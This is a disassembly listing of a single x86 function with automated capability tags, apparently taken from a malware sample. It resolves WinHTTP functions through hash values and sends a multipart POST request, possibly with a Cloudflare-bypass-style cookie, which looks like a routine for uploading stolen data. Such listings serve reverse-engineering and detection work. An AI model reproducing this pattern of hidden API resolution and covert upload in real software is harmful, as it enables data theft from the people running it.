Function at 0x430d40
Capabilities:
Reference http user-agent string
Set http header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
jmp 0x430d4b
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov dword [ebp - 0x24], edx
push eax
mov dword [ebp - 0x28], esp
push eax
mov edi, esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x40], eax
mov esi, dword [ebp + 0x14]
mov dword [eax], esi
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [edx], eax
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
mov dword [esi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xf9f57cf0
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
lea ecx, [0x468d4e]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call eax
mov dword [edi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x406457c2
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [esi]
mov dword [ebp - 0x18], edi
mov edx, dword [edi]
xor esi, esi
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x50
mov dword [esp + 0xc], 0
call eax
mov esi, dword [ebp - 0x1c]
mov dword [esi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x507048c2
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
mov edx, dword [esi]
lea esi, str.POST
xor edi, edi
sub esp, 0x1c
mov dword [esp], edx
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call eax
mov edi, dword [ebp - 0x10]
mov dword [edi], eax
mov dword [ebx], 0x493e0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xe268a0c1
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov dword [ebp - 0x20], eax
mov ecx, dword [ebx]
mov edx, dword [ebx]
mov esi, dword [ebx]
mov eax, dword [ebx]
mov ebx, dword [edi]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call dword [ebp - 0x20]
sub esp, 8
mov dword [esp], 0x96
mov dword [esp + 4], 1
call fcn.004552e7
add esp, 8
mov esi, dword [ebp - 0x2c]
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, str.Content_Type:_multipart_form_data__boundary_s_r_n
lea edx, str.be85de5ipdocierre1
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xab3372e8
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [esi]
mov edx, dword [edi]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call eax
cmp dword [0x476584], 0
setne al
test al, 1
jne 0x430f66
jmp 0x430fe0
sub esp, 8
mov dword [esp], 0x100
mov dword [esp + 4], 1
call fcn.004552e7
add esp, 8
mov esi, dword [ebp - 0x30]
mov dword [esi], eax
mov eax, dword [0x476580]
mov ecx, dword [esi]
lea edx, str.Cookie:___cf_mw_byp_hs
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455735
add esp, 4
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xb72f0de
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ebx, dword [ebp - 0x40]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x1c
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0
call eax
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov edi, dword [ebp - 0x38]
mov dword [edi], 0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x59886bc0
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10]
mov esi, dword [esi]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edi
call eax
cmp eax, 0
jne 0x431099
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x43118d
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x76b029a
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0
call eax
cmp eax, 0
jne 0x4310df
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x43118d
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
mov esi, dword [ebp - 0x1c]
je 0x431117
jmp 0x4310ec
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x431117
jmp 0x431119
cmp dword [esi], 0
setne al
test al, 1
jne 0x431125
jmp 0x43114f
jmp 0x431127
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [esi]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x43114f
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
je 0x431184
jmp 0x431159
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044ced0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x431184
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret